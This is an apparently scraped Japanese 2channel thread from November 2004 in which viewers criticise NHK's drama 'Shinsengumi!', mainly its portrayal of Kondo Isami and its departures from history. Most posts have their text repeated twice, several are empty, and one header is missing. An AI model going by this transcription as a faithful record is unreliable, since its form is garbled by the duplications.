群像劇って登場人物の心理描写が物語りの要じゃないのか？
688 ：名無しさん＠お腹いっぱい。：04/11/06 17:50:25 ID:Z7jUZSOw
元全共闘オヤジが熱弁振るっている感じか？
過激派の話は若者には理解しづらいと思うよ。
過激派の話は若者には理解しづらいと思うよ。
689 ：名無しさん＠お腹いっぱい。：04/11/06 18:15:33 ID:DqwRuFGe
明日の局長襲撃の長めの予告見たけど
局長襲撃したのってあの女性だったんですね
新選組あんまり詳しくないから知らなかったよ
局長襲撃したのってあの女性だったんですね
新選組あんまり詳しくないから知らなかったよ
690 ：名無しさん＠お腹いっぱい。：04/11/06 18:56:46 ID:IpFNnuor
>>685
馬鹿な！森を見てしまったら、もっとフォローが出来なくなるではないか！！
馬鹿な！森を見てしまったら、もっとフォローが出来なくなるではないか！！
691 ：名無しさん＠お腹いっぱい。：04/11/06 20:02:05 ID:YrovNmU4
>>685
森も見てるっつーの。
「この森おかしいぞ?!」「よく見たら所々の木が変な色だ！」「木ですらないのが
混じってるぞ!!」 こういうカキコミだよ、ここのは。
森の体裁をぶち壊してる木を指摘するのは細かいとかじゃない、具体的と言ってくれ。
森も見てるっつーの。
「この森おかしいぞ?!」「よく見たら所々の木が変な色だ！」「木ですらないのが
混じってるぞ!!」 こういうカキコミだよ、ここのは。
森の体裁をぶち壊してる木を指摘するのは細かいとかじゃない、具体的と言ってくれ。
692 ：名無しさん＠お腹いっぱい。：04/11/06 20:32:59 ID:2vSsTotX
お前ら・・・恥ずかしくないのか？
693 ：名無しさん＠お腹いっぱい。：04/11/06 20:35:05 ID:OnshOqHN
そうだぞ、いつまでもこんなドラマ見続けて
恥ずかしい奴らだな
恥ずかしい奴らだな
694 ：名無しさん＠お腹いっぱい。：04/11/06 21:08:55 ID:A0GaOJ+6
恥ずかしいので見てることなど外では決して言えません!!
だけど見てしまうのだ…orz
だけど見てしまうのだ…orz
695 ：名無しさん＠お腹いっぱい。：04/11/06 21:10:49 ID:ig8sWVDH
696 ：名無しさん＠お腹いっぱい。：04/11/06 21:14:46 ID:9YhSyi74
史実では屯所に居た全員が油小路に駆け付けるんだが（罠だと分かってるからな）
屯所に居た人数（10人は居た）と油小路に駆け付けた人数（7人）が合いません…。
ていうか屯所に居た人数が多い。
屯所に居た人数（10人は居た）と油小路に駆け付けた人数（7人）が合いません…。
ていうか屯所に居た人数が多い。
697 ：名無しさん＠お腹いっぱい。：04/11/06 21:18:14 ID:fio/b+Z9
やっぱりあの近藤では、新撰組があそこまでの存在になるのが納得できない。
器の大きい人格者近藤、というスタンスとしても、
大河の近藤って生ぬるいお子ちゃま風。
力んでしゃべれば、信念や骨のある人に見えるというものでもない。
それでいて科白や脚本の上では、皆が近藤マンセーだからよりおかしくなる。
しかも都合の悪いことは周囲や下の誰かに押し付けるし、
竜馬の件で無理して美化するから、余計後味悪い。
とは言え、数ヶ月間ずっと楽しく見てきたんだけど
やっぱりここんところの２回は酷いね。
江口竜馬はよかった。
器の大きい人格者近藤、というスタンスとしても、
大河の近藤って生ぬるいお子ちゃま風。
力んでしゃべれば、信念や骨のある人に見えるというものでもない。
それでいて科白や脚本の上では、皆が近藤マンセーだからよりおかしくなる。
しかも都合の悪いことは周囲や下の誰かに押し付けるし、
竜馬の件で無理して美化するから、余計後味悪い。
とは言え、数ヶ月間ずっと楽しく見てきたんだけど
やっぱりここんところの２回は酷いね。
江口竜馬はよかった。
698 ：名無しさん＠お腹いっぱい。：04/11/06 22:54:03 ID:xfhMER7I
699 ：名無しさん＠お腹いっぱい。：04/11/06 23:05:19 ID:PWJkhhdW
おりょうが近藤を殺しに来たが、諭されて和解。
こんなのあるのか？
こんなのあるのか？
700 ：名無しさん＠お腹いっぱい。：04/11/06 23:10:52 ID:Sw9QTRPE
701 ：名無しさん＠お腹いっぱい。：04/11/06 23:17:00 ID:8cy1KtXq
史実の近藤は、土方に負けず劣らず冷酷だぞ。
誰が近藤＝温厚な人物なんて考えたんだよ。
誰が近藤＝温厚な人物なんて考えたんだよ。
702 ：名無しさん＠お腹いっぱい。：04/11/07 00:16:35 ID:liPicOFq
ドラマでは史実と若干異なり、
香取近藤が肩ではなく睾丸に弾丸を受けて品詞の重症になります。かたたま！
香取近藤が肩ではなく睾丸に弾丸を受けて品詞の重症になります。かたたま！
703 ：名無しさん＠お腹いっぱい。：04/11/07 00:21:11 ID:mww+k+6R
そんな役なら爆笑田中にでも演らしたほうがマシだな。
704 ：名無しさん＠お腹いっぱい。：04/11/07 00:27:13 ID:1zZ6L/+h
>>701
坂本が惨めに殺されて祝宴張ってたくらいだしな。
今回の大河でわざわざ文献まで当たらないようなライトな視聴者層には
近藤勇＝優柔不断だが人殺しが嫌いないい人、のイメージが
この先ずっとインプットされ続けていくことだろう。
坂本が惨めに殺されて祝宴張ってたくらいだしな。
今回の大河でわざわざ文献まで当たらないようなライトな視聴者層には
近藤勇＝優柔不断だが人殺しが嫌いないい人、のイメージが
この先ずっとインプットされ続けていくことだろう。
705 ：名無しさん＠お腹いっぱい。：04/11/07 00:43:58 ID:ua1B6Dl+
史実というか、司馬作品好きだし新撰組関連の作品は
いろいろ読んでるけど、別に史実と違ったっていいと思う。
でも思想と思想がぶつかりあって殺し合いやってる幕末に、
突出した存在として描かれるにしてはあまりにも
この近藤はうすぼんやりした印象しかないんだよなー。
悪い意味で偏りがない、平凡な男だ。野望もないし、周囲の
不本意な動きに不満そうに渋々承諾してばかり。近藤も近藤に
ついてく連中も、なにがしたいんだかよくわからない。
いろいろ読んでるけど、別に史実と違ったっていいと思う。
でも思想と思想がぶつかりあって殺し合いやってる幕末に、
突出した存在として描かれるにしてはあまりにも
この近藤はうすぼんやりした印象しかないんだよなー。
悪い意味で偏りがない、平凡な男だ。野望もないし、周囲の
不本意な動きに不満そうに渋々承諾してばかり。近藤も近藤に
ついてく連中も、なにがしたいんだかよくわからない。
706 ：名無しさん＠お腹いっぱい。：04/11/07 00:48:37 ID:e6387Wo+
結局芹沢斬っても進歩ないねこの人＞近藤
707 ：名無しさん＠お腹いっぱい。：04/11/07 00:56:47 ID:lqkHTs9n
>>696
史実では出かけていた阿部十郎とかもドラマでは屯所にいたっぽいよね。
史実では出かけていた阿部十郎とかもドラマでは屯所にいたっぽいよね。
708 ：名無しさん＠お腹いっぱい。：04/11/07 01:02:28 ID:OkFDrTyn
アンチスレ久々来たけど、相変わらず頭わるそうで安心しました。
お休みなさい。
お休みなさい。
709 ：名無しさん＠お腹いっぱい。：04/11/07 02:16:42 ID:ZLkmfZqg
その通りです。あなたと同様に。
710 ：名無しさん＠お腹いっぱい。：04/11/07 03:34:28 ID:O0uQtbXm
相変わらず個々の内容については何一つ反論できない。
711 ：名無しさん＠お腹いっぱい。：04/11/07 06:51:09 ID:y/bjt9Rc
近藤を仲間を大事にする平和主義者にしたいんだろうけど。
幕末みたいな変動期には違和感ありあり。
それどころか、皆が感じてるように、
逆に優柔不断で統率力のない日和見主義者に描かれてる。
幕末みたいな変動期には違和感ありあり。
それどころか、皆が感じてるように、
逆に優柔不断で統率力のない日和見主義者に描かれてる。
712 ：名無しさん＠お腹いっぱい。：04/11/07 09:16:40 ID:pV07SRCw
ミもふたもない言い方すれば、幕末物をオリジナルで一年間て企画自体が無理ありすぎ。
新撰組なんて大正時代に子母沢が再発見して、司馬作品で人気が出たようなもんなんだから。
豊臣秀吉描くのに絵本太閤記のエピ流用しても問題にならないけど、
子母沢、司馬作品使ったら盗用になるからね。
一回を一日に限定したり、ナレーションを使わなかったり(実際は手紙の形で使ってるが）
の設定もなんか苦しく見える。
新撰組なんて大正時代に子母沢が再発見して、司馬作品で人気が出たようなもんなんだから。
豊臣秀吉描くのに絵本太閤記のエピ流用しても問題にならないけど、
子母沢、司馬作品使ったら盗用になるからね。
一回を一日に限定したり、ナレーションを使わなかったり(実際は手紙の形で使ってるが）
の設定もなんか苦しく見える。
713 ：名無しさん＠お腹いっぱい。：04/11/07 13:45:12 ID:akuMscSb
どうせいま本スレなんかで騒いでる連中は
いままで大河見てきてないだろうし、これからも来年の大河チョロっと見て
また民放のクソドラマに帰るだろ。
いままで大河見てきてないだろうし、これからも来年の大河チョロっと見て
また民放のクソドラマに帰るだろ。
714 ：名無しさん＠お腹いっぱい。：04/11/07 14:05:57 ID:R0kkJ5T6
715 ：名無しさん＠お腹いっぱい。：04/11/07 14:19:02 ID:6IGbveCN
＞一回を一日に限定したり、
これってもう違うよね？
武田のときもあれ一日だったっけ？
河合は回想の形を使ったし、山南切腹も一晩経ってる。
初回からして数日間分書いてた。
・・・俺もしかして一日一話の意味捉え違えてる？
これってもう違うよね？
武田のときもあれ一日だったっけ？
河合は回想の形を使ったし、山南切腹も一晩経ってる。
初回からして数日間分書いてた。
・・・俺もしかして一日一話の意味捉え違えてる？
716 ：名無しさん＠お腹いっぱい。：04/11/07 14:19:05 ID:9Kv3h2Aj
武蔵だけには勝ちたかっただけの一年
717 ：名無しさん＠お腹いっぱい。：04/11/07 15:13:05 ID:dvAwAmTy
別に、大河ドラマだから美化してもしかたないのかもしれないが、
描 か れ た 近 藤 像 に 魅 力 が な い
っていうことが一番問題。
描 か れ た 近 藤 像 に 魅 力 が な い
っていうことが一番問題。
718 ：名無しさん＠お腹いっぱい。：04/11/07 15:29:38 ID:AZUCuksV
三船敏郎主演の『新選組』はいわゆる史実から離れてムチャクチャな展開だけど、
面 白 い ぞ。
つーか三谷はアレを観てるはず。
芹沢役は三國連太郎だし、鴨の描き方をそのままパクってるから。
それでも大河があの程度、というのが三谷のガキさだな。
面 白 い ぞ。
つーか三谷はアレを観てるはず。
芹沢役は三國連太郎だし、鴨の描き方をそのままパクってるから。
それでも大河があの程度、というのが三谷のガキさだな。
719 ：名無しさん＠お腹いっぱい。：04/11/07 15:44:54 ID:7WAbAAtX
>>713
俺も今までの大河みたことない一人だけど、新選組！は糞だと思うよ
俺も今までの大河みたことない一人だけど、新選組！は糞だと思うよ
720 ：名無しさん＠お腹いっぱい。：04/11/07 15:49:52 ID:sMl92Sgv
大河なんてポワロの惰性で見てる
くだらない特番(労使に対する当て付け)で今週のポワロがつぶれてしまったのは遺憾である
ついでに大河もつぶせ
くだらない特番(労使に対する当て付け)で今週のポワロがつぶれてしまったのは遺憾である
ついでに大河もつぶせ
>>683-684
とりあえず、そちらの言い分は
事件→法度破りと認定→恩赦不可（減軽要求不可）→切腹
だと思うのですが、私の言い分（近藤の場合）
事件→法度破りではない→切腹不要
なのだと言いたいわけです。
ただ、32話をビデオ持っていないので見返せないから
ニュアンスがわからないけど。
とりあえず、そちらの言い分は
事件→法度破りと認定→恩赦不可（減軽要求不可）→切腹
だと思うのですが、私の言い分（近藤の場合）
事件→法度破りではない→切腹不要
なのだと言いたいわけです。
ただ、32話をビデオ持っていないので見返せないから
ニュアンスがわからないけど。
722 ：名無しさん＠お腹いっぱい。：04/11/07 16:51:48 ID:eRPJRFsr
今夜の楽しみは暗殺に来たおりょうに
近藤大先生がたれるお説教かなｗ
近藤大先生がたれるお説教かなｗ
723 ：名無しさん＠お腹いっぱい。：04/11/07 17:01:40 ID:ckRrXyjF
724 ：名無しさん＠お腹いっぱい。：04/11/07 17:22:39 ID:ClMnd/xw
なんかここ、山／城チョメチョメとそのお仲間のニホイがする・・。
これが「おじいちゃんクサーイ」のいわゆる加齢臭ってヤツか。悪臭だな。
これが「おじいちゃんクサーイ」のいわゆる加齢臭ってヤツか。悪臭だな。
725 ：名無しさん＠お腹いっぱい。：04/11/07 17:38:57 ID:akuMscSb
↑24が流行りだしてから「とぅえんてぃふぉーって面白いよね～」というタイプが沸きましたね
726 ：名無しさん＠お腹いっぱい。：04/11/07 18:37:50 ID:lwcaNyoK
三船近藤・・・老け過ぎとか、ブサイク土方とか、沖田の死に方嘘杉とか。
でもクビチョンパシーンも凄いし面白いね。
でもクビチョンパシーンも凄いし面白いね。
727 ：名無しさん＠お腹いっぱい。：04/11/07 18:55:50 ID:lqkHTs9n
>>722
それでおりょうが改心した後に、事情を知らない大石鍬次郎が…
それでおりょうが改心した後に、事情を知らない大石鍬次郎が…
728 ：名無しさん＠お腹いっぱい。：04/11/07 19:54:35 ID:U28GgmQT
そういえば、竜馬の居場所を密告したのは薩摩だよね
近藤は捨助から、その事を聞いているのかな。
近藤はおりょうに暗殺の下手人は佐々木で
黒幕は薩摩だと教えてやれば良いね
まっ、そんな事、三谷はさせないだろうけど
近藤は捨助から、その事を聞いているのかな。
近藤はおりょうに暗殺の下手人は佐々木で
黒幕は薩摩だと教えてやれば良いね
まっ、そんな事、三谷はさせないだろうけど
729 ：名無しさん＠お腹いっぱい。：04/11/07 20:47:53 ID:dvAwAmTy
なんか、悪いのはすべて薩長見たいなノリになってきた。
730 ：名無しさん＠お腹いっぱい。：04/11/07 20:52:52 ID:+nH37czd
ながら観だったから判らないけど､今日のはまあまあだったのでは?
近藤が主役らしくメインだったし､力強く怒鳴ったり感情出してたし､アクションシーンもあった｡
こうゆう回の割合がもっとうんと多かったらﾖｶﾀのに｡
今さらだけどね｡
近藤が主役らしくメインだったし､力強く怒鳴ったり感情出してたし､アクションシーンもあった｡
こうゆう回の割合がもっとうんと多かったらﾖｶﾀのに｡
今さらだけどね｡
731 ：名無しさん＠お腹いっぱい。：04/11/07 20:53:22 ID:tmz78u7R
「近藤勇、いままで一度たりとも戦に負けたことはござりません！」
そりゃそーだ。いままでまともに戦なんてしたことないんだから。
そりゃそーだ。いままでまともに戦なんてしたことないんだから。
732 ：名無しさん＠お腹いっぱい。：04/11/07 20:53:41 ID:exokdJOm
今回は流石に無理ありすぎたな。それに、まるで小学生向けみたいな
単純な図式にしようとしている。（まあ、だからこそ広域な支持を
得ているのだろうが）慶喜がバカみたいだし、時代のうねりみたいなのが
伝わってこない。（ええじゃないか踊りを見せれば良かったのに）
単純な図式にしようとしている。（まあ、だからこそ広域な支持を
得ているのだろうが）慶喜がバカみたいだし、時代のうねりみたいなのが
伝わってこない。（ええじゃないか踊りを見せれば良かったのに）
733 ：名無しさん＠お腹いっぱい。：04/11/07 20:54:51 ID:742cY3sp
734 ：名無しさん＠お腹いっぱい。：04/11/07 20:56:14 ID:A3I5crB9
今まではアラが気になっても「それでも面白いし…」と見てたけど
今回は完璧に アラ＞面白さ だった。
慶喜公や永井様はあんなに新選組マンセー近藤マンセーだったんだろうか。
ありえない気がするんですけど。
おりょうのシーンも何の為にあるのか分からないし。
今回は完璧に アラ＞面白さ だった。
慶喜公や永井様はあんなに新選組マンセー近藤マンセーだったんだろうか。
ありえない気がするんですけど。
おりょうのシーンも何の為にあるのか分からないし。
735 ：名無しさん＠お腹いっぱい。：04/11/07 20:57:29 ID:R0kkJ5T6
>>733
無理があるのは近藤勇だけが全てを見通して動いているあたりかな
無理があるのは近藤勇だけが全てを見通して動いているあたりかな
736 ：名無しさん＠お腹いっぱい。：04/11/07 20:59:32 ID:HuPOy0/7
今日は特に前半がつまらなかった。
蚊取の出番が多かったからだろう。
蚊取の出番が多かったからだろう。
737 ：名無しさん＠お腹いっぱい。：04/11/07 21:00:04 ID:X125478h
738 ：名無しさん＠お腹いっぱい。：04/11/07 21:00:23 ID:exokdJOm
幕府が消滅しかけていて、自分達のアイデンテイテイが脅かされてる
のに、なお非戦論を解く新選組は、さすがにありえないだろう。
ああなったら、俺でも腹をくくって薩摩と戦うぞ。
のに、なお非戦論を解く新選組は、さすがにありえないだろう。
ああなったら、俺でも腹をくくって薩摩と戦うぞ。
739 ：名無しさん＠お腹いっぱい。：04/11/07 21:00:24 ID:53/WP/nt
あの時点で徳川が朝敵になると近藤が見通すのはちょっと無理がある。
朝廷は薩長の優勢が決定的になった時点で錦旗を出してきたはず。
あの時点では案外幕府が勝利することもあり得たわけで、その場合は多分薩長が朝敵とされたはずだ。
朝廷は常に勝者側につくのだから…
朝敵になることを理由に戦を避けようとするというのは、あまりに先回りしすぎ。
近藤は結果を知ってる人間の眼でしか物を言わないから、近藤の視点に全然
意外性がなく、視聴者は近藤にしてやられることがない。
近藤は常に、いいこと言ってるんだけど情勢に流されて意のままにならない負け組み。
そこが最大の面白くないところ。
朝廷は薩長の優勢が決定的になった時点で錦旗を出してきたはず。
あの時点では案外幕府が勝利することもあり得たわけで、その場合は多分薩長が朝敵とされたはずだ。
朝廷は常に勝者側につくのだから…
朝敵になることを理由に戦を避けようとするというのは、あまりに先回りしすぎ。
近藤は結果を知ってる人間の眼でしか物を言わないから、近藤の視点に全然
意外性がなく、視聴者は近藤にしてやられることがない。
近藤は常に、いいこと言ってるんだけど情勢に流されて意のままにならない負け組み。
そこが最大の面白くないところ。
740 ：名無しさん＠お腹いっぱい。：04/11/07 21:03:24 ID:Qy9sYwER
「あなたのりょうの字は坂本竜馬のりょうだ！そのことを忘れてはなりません！」
すいません、誰かこれ解説ｷﾎﾞﾝﾇ
すいません、誰かこれ解説ｷﾎﾞﾝﾇ
741 ：名無しさん＠お腹いっぱい。：04/11/07 21:03:47 ID:urpRbsW8
今週はあんまおもろくなかった、てか先週もそうだし来週の予告でも想像できるがシエイカンメンバー
に隔たりすぎ。多摩編から見てないと感情移入しづらい。
多少はしょうがないがあれじゃちょっとなぁ・・・完全に近藤と愉快な仲間達の正義の物語構成に
なっちゃってる、しょうがないけど。
に隔たりすぎ。多摩編から見てないと感情移入しづらい。
多少はしょうがないがあれじゃちょっとなぁ・・・完全に近藤と愉快な仲間達の正義の物語構成に
なっちゃってる、しょうがないけど。
742 ：名無しさん＠お腹いっぱい。：04/11/07 21:03:54 ID:exokdJOm
＞739
錦旗は、兵力で劣る薩長を優勢にするために立てたのであって、
優勢になってから立てたのではない。
錦旗は、兵力で劣る薩長を優勢にするために立てたのであって、
優勢になってから立てたのではない。
743 ：名無しさん＠お腹いっぱい。：04/11/07 21:03:54 ID:AHL0kckE
ヲタは否定するだろうが 結局、利家と松となんら変わらん
744 ：名無しさん＠お腹いっぱい。：04/11/07 21:04:15 ID:R0kkJ5T6
745 ：名無しさん＠お腹いっぱい。：04/11/07 21:06:43 ID:CjdxfrnD
近藤が坂本みたいなこと言うのは変
746 ：名無しさん＠お腹いっぱい。：04/11/07 21:07:18 ID:R0kkJ5T6
747 ：名無しさん＠お腹いっぱい。：04/11/07 21:08:08 ID:CJbD+m/A
近藤が「御公儀は何をなさっていた！」というシーンは
テレビドラマ「壬生義士伝」の完全なパクリで爆笑ｗｗ
テレビドラマ「壬生義士伝」の完全なパクリで爆笑ｗｗ
748 ：名無しさん＠お腹いっぱい。：04/11/07 21:09:45 ID:Qy9sYwER
749 ：名無しさん＠お腹いっぱい。：04/11/07 21:09:53 ID:WgQ6LlOM
750 ：名無しさん＠お腹いっぱい。：04/11/07 21:11:46 ID:6l/klGzd
>７４４ まぁ 今更香取は責めんが、ありゃ怠けた演出だったね、
と言いながら、そんな場面てんこ盛りなので、頭が機械的に
スルーしましたよ
と言いながら、そんな場面てんこ盛りなので、頭が機械的に
スルーしましたよ
751 ：名無しさん＠お腹いっぱい。：04/11/07 21:12:29 ID:+nH37czd
確かに突っ込み所満載ストーリーだったが､それはいつもの事で､
近藤がメイン､感情出してる､アクションシーンあり､てだけでﾖｶﾀ回だと思ってしまった…｡
今までより､ながら観が増したんだな｡話の筋､追ってなかた…｡
近藤がメイン､感情出してる､アクションシーンあり､てだけでﾖｶﾀ回だと思ってしまった…｡
今までより､ながら観が増したんだな｡話の筋､追ってなかた…｡
752 ：名無しさん＠お腹いっぱい。：04/11/07 21:13:15 ID:ANNNgZAL
近藤さんが撃たれた時、家族が爆笑してた。
水戸藩士に大見得切っておいて、龍馬を持ち上げる局長に激怒。
多重人格者ですか？あなた。
水戸藩士に大見得切っておいて、龍馬を持ち上げる局長に激怒。
多重人格者ですか？あなた。
753 ：名無しさん＠お腹いっぱい。：04/11/07 21:13:58 ID:53/WP/nt
>>742
それだけであれば最初から薩長に錦旗は与えられていたのでは？
それだけであれば最初から薩長に錦旗は与えられていたのでは？
754 ：名無しさん＠お腹いっぱい。：04/11/07 21:14:03 ID:pSPsQzpN
局長の意味不明なブチ切れは何だったんだろうか
どれだけの血を流したかってそれ殆ど内ゲバやん
どれだけの血を流したかってそれ殆ど内ゲバやん
755 ：名無しさん＠お腹いっぱい。：04/11/07 21:15:27 ID:cxCNEhCN
公式の鍬次郎のインタイラネ
あんな雑魚隊士じゃなくて
加納とかにインタしてくれ
あんな雑魚隊士じゃなくて
加納とかにインタしてくれ
756 ：名無しさん＠お腹いっぱい。：04/11/07 21:15:43 ID:6l/klGzd
＞７４７ 「お手前方は ぬわぁにをなされた～～！！」が柄本近藤
、、、ちょっとだけ違う かな？
、、、ちょっとだけ違う かな？
757 ：名無しさん＠お腹いっぱい。：04/11/07 21:15:57 ID:R0kkJ5T6
758 ：虚無僧：04/11/07 21:16:21 ID:r0j8hLnA
今回香取の演技今までで、一番良かったんじゃないか。
しかし、近藤の平和論者ぶりや、おりょうの刺客と諭す近藤には相変わらず
違和感あったな。まぁ、今回は良くも悪くも平均的な内容で、作品自体は、評
しにくいな。
ところで、久しぶりに配役宝典見ると、掲示板に「新撰組隊士の官位について知りたい」
と書き込んであった。知ってる人教えてやったらどうじゃな。
しかし、近藤の平和論者ぶりや、おりょうの刺客と諭す近藤には相変わらず
違和感あったな。まぁ、今回は良くも悪くも平均的な内容で、作品自体は、評
しにくいな。
ところで、久しぶりに配役宝典見ると、掲示板に「新撰組隊士の官位について知りたい」
と書き込んであった。知ってる人教えてやったらどうじゃな。
759 ：名無しさん＠お腹いっぱい。：04/11/07 21:16:24 ID:NbZsFL0A
近藤はいつからあんなに頭が良くなったんだ
この間までこれからどうなるんですかって
永井Ｂ作に聞いてたのに
この間までこれからどうなるんですかって
永井Ｂ作に聞いてたのに
760 ：名無しさん＠お腹いっぱい。：04/11/07 21:16:56 ID:+nH37czd
ロケがあったのもﾖｶﾀんだよな｡
しかし､このぐらいで今回はいつもの回よりｲｲってゆうのもなんだかな…｡
しかし､このぐらいで今回はいつもの回よりｲｲってゆうのもなんだかな…｡
761 ：名無しさん＠お腹いっぱい。：04/11/07 21:17:43 ID:tmz78u7R
>>739
軍事専門家の目から見て
日本史の合戦上で開戦前の布陣が圧倒的に有利だったのにも関わらず
優勢な側が不可思議にも大逆転の敗北を喫した戦いが２つあったというな。
ひとつが関が原でもうひとつが鳥羽伏見だそうな。
大坂には幕府軍の本隊が無傷で残り、街道には江戸から上ってきた増援部隊までいたわけだし。
「錦旗」が相手の戦意を喪失させる武器になるなんて、
当時の幕府側指揮官は誰も想像していなかっただろうな。
立場と経験からみて錦旗の存在すら想像の埒外にあるはずの近藤が
「朝敵になる」などと予言できるなんてあまりにもひどい描写だな。
軍事専門家の目から見て
日本史の合戦上で開戦前の布陣が圧倒的に有利だったのにも関わらず
優勢な側が不可思議にも大逆転の敗北を喫した戦いが２つあったというな。
ひとつが関が原でもうひとつが鳥羽伏見だそうな。
大坂には幕府軍の本隊が無傷で残り、街道には江戸から上ってきた増援部隊までいたわけだし。
「錦旗」が相手の戦意を喪失させる武器になるなんて、
当時の幕府側指揮官は誰も想像していなかっただろうな。
立場と経験からみて錦旗の存在すら想像の埒外にあるはずの近藤が
「朝敵になる」などと予言できるなんてあまりにもひどい描写だな。
762 ：名無しさん＠お腹いっぱい。：04/11/07 21:18:53 ID:pSPsQzpN
B作が出る時だけ画が締まってるような気がする
他はぬるぽ
他はぬるぽ
763 ：名無しさん＠お腹いっぱい。：04/11/07 21:20:43 ID:irn4kSWV
764 ：名無しさん＠お腹いっぱい。：04/11/07 21:22:40 ID:urpRbsW8
765 ：名無しさん＠お腹いっぱい。：04/11/07 21:23:07 ID:BjmsXhyE
>>僕の個人的な楽しみも込めた、おりょうの最後の物語になりました。
新選組！公式より
本当に大河ドラマはただただ三谷の自己満足ドラマだった。
新選組！公式より
本当に大河ドラマはただただ三谷の自己満足ドラマだった。
766 ：名無しさん＠お腹いっぱい。：04/11/07 21:24:37 ID:ua1B6Dl+
やっぱ三谷は幕末の、坂本の思想や行動にひかれた
つーか、好きなんだろうなと思った。
新撰組に坂本守らせたり、近藤と友人にしたり
近藤に坂本みたいなこと言わせたり、近藤に坂本マンセーさせる
ぐらいなら、最初から海援隊のドラマにすりゃ良かったんだ。
香取も近藤よりは坂本の方が似合ってると思う。
つーか、好きなんだろうなと思った。
新撰組に坂本守らせたり、近藤と友人にしたり
近藤に坂本みたいなこと言わせたり、近藤に坂本マンセーさせる
ぐらいなら、最初から海援隊のドラマにすりゃ良かったんだ。
香取も近藤よりは坂本の方が似合ってると思う。
767 ：名無しさん＠お腹いっぱい。：04/11/07 21:25:35 ID:mRikY92+
『源さん死す』ってそんなに大事なことなのかと思いますた
768 ：名無しさん＠お腹いっぱい。：04/11/07 21:25:47 ID:cxCNEhCN
>>765
おりょうなんてどうでも良いのにｗ
おりょうなんてどうでも良いのにｗ
769 ：名無しさん＠お腹いっぱい。：04/11/07 21:26:21 ID:pSPsQzpN
＞香取も近藤よりは坂本の方が似合ってると思う。
いや、それだけは見たくない
武田鉄也より見たくない
いや、それだけは見たくない
武田鉄也より見たくない
770 ：名無しさん＠お腹いっぱい。：04/11/07 21:29:36 ID:EEDUsGHI
>>767
内ゲバじゃなく戦で死んだから珍しいんだろ
内ゲバじゃなく戦で死んだから珍しいんだろ
771 ：名無しさん＠お腹いっぱい。：04/11/07 21:29:38 ID:urpRbsW8
最初から「竜馬とおりょうがゆく」にして江口・麻生でやらせりゃ良かったってことかーーーーー？！
772 ：名無しさん＠お腹いっぱい。：04/11/07 21:31:09 ID:UuNPR2FE
視聴率が
源さん、死す＞決戦、油小路＞局長襲撃
なら、おもろいのだが・・・
源さん、死す＞決戦、油小路＞局長襲撃
なら、おもろいのだが・・・
773 ：名無しさん＠お腹いっぱい。：04/11/07 21:33:32 ID:ghZrpdW4
774 ：名無しさん＠お腹いっぱい。：04/11/07 21:40:09 ID:tmz78u7R
775 ：名無しさん＠お腹いっぱい。：04/11/07 21:41:11 ID:Qy9sYwER
永倉新八、氾濫！とか・・・
776 ：名無しさん＠お腹いっぱい。：04/11/07 21:43:23 ID:exokdJOm
＞773＞774
サブタイトル、
三谷の意向がかなり反映されているだろう。禁門の変も大政奉還もサブタイトル
にはならなかった事を考えれば、この作品が「キャラもの」として描かれている
事を自覚してるんだとは思う。
サブタイトル、
三谷の意向がかなり反映されているだろう。禁門の変も大政奉還もサブタイトル
にはならなかった事を考えれば、この作品が「キャラもの」として描かれている
事を自覚してるんだとは思う。
777 ：名無しさん＠お腹いっぱい。：04/11/07 21:43:33 ID:EEDUsGHI
778 ：名無しさん＠お腹いっぱい。：04/11/07 21:48:12 ID:tmz78u7R
サブタイの上では将軍と源さんが同格の扱い。
みなもとさん、とかいうギャグ？
みなもとさん、とかいうギャグ？
779 ：名無しさん＠お腹いっぱい。：04/11/07 21:49:14 ID:9Zyt812m
今夜のいらないもの
お孝、おりょう、朝鮮人参
お孝、おりょう、朝鮮人参
780 ：名無しさん＠お腹いっぱい。：04/11/07 21:58:03 ID:hHvrBlCn
781 ：名無しさん＠お腹いっぱい。：04/11/07 22:04:27 ID:lqkHTs9n
>>779
たしかに人参多すぎ！
たしかに人参多すぎ！
782 ：名無しさん＠お腹いっぱい。：04/11/07 22:49:15 ID:+nH37czd
源さんって…タイトルなんだからせめてフルネームを…｡
しかし､今回いつもよりマジだと思えた点は､コメディシーンもウザ杉た所がなかった点かな｡
比較的、て事だけど｡
新選組視点にも関わらず､法度絡みの話でもなく､良い人ばかりの馴れ合い話でなかったのもかな｡
紀行もストーリーにちなんでたし｡
今さらちょっと良くっても仕方ないんだが｡
しかし､今回いつもよりマジだと思えた点は､コメディシーンもウザ杉た所がなかった点かな｡
比較的、て事だけど｡
新選組視点にも関わらず､法度絡みの話でもなく､良い人ばかりの馴れ合い話でなかったのもかな｡
紀行もストーリーにちなんでたし｡
今さらちょっと良くっても仕方ないんだが｡
783 ：名無しさん＠お腹いっぱい。：04/11/07 22:50:04 ID:D878EeWr
そもそも、おりょうの全裸シーンがなかったのが間違いだ。全裸で。
784 ：名無しさん＠お腹いっぱい。：04/11/07 22:51:44 ID:+nH37czd
785 ：名無しさん＠お腹いっぱい。：04/11/07 22:54:14 ID:akuMscSb
ついに父親が「ﾂﾏﾝネェ」って日米野球にチャンネル変えた。
草燃えるからずっと大河ドラマファンの親父が。
去年の武蔵から結構キテたらしい。
草燃えるからずっと大河ドラマファンの親父が。
去年の武蔵から結構キテたらしい。
786 ：名無しさん＠お腹いっぱい。：04/11/07 23:00:06 ID:ckRrXyjF
竜馬を助けようとしたのも近藤、
油小路では陥れようとしていたのは伊東で、
しかもその伊東は近藤の大きさに心を打たれ改心したものの下級武士に討たれ、
慶喜が戦いの回避を判断したのも近藤の進言を受けて・・・
語るに落ちたね。
しかも香取は力めばいいとばかりの芝居っぷりだ。
もっともその大根によって上記の無理が中和されてしまったとも言えるなｗ
油小路では陥れようとしていたのは伊東で、
しかもその伊東は近藤の大きさに心を打たれ改心したものの下級武士に討たれ、
慶喜が戦いの回避を判断したのも近藤の進言を受けて・・・
語るに落ちたね。
しかも香取は力めばいいとばかりの芝居っぷりだ。
もっともその大根によって上記の無理が中和されてしまったとも言えるなｗ
787 ：名無しさん＠お腹いっぱい。：04/11/07 23:00:53 ID:ckRrXyjF
>>772
源さん死すは絶対見ます。
源さん死すは絶対見ます。
788 ：名無しさん＠お腹いっぱい。：04/11/07 23:16:01 ID:EEDUsGHI
永井Ｂ作のセリフによると薩摩藩邸を襲撃するのも下っぱが勝手にやったことになるんだろうな
で賢明な官僚連中は命令などもちろん出すはずもなく必死で止めたがだめだった、と
腐れパターンｗ
で賢明な官僚連中は命令などもちろん出すはずもなく必死で止めたがだめだった、と
腐れパターンｗ
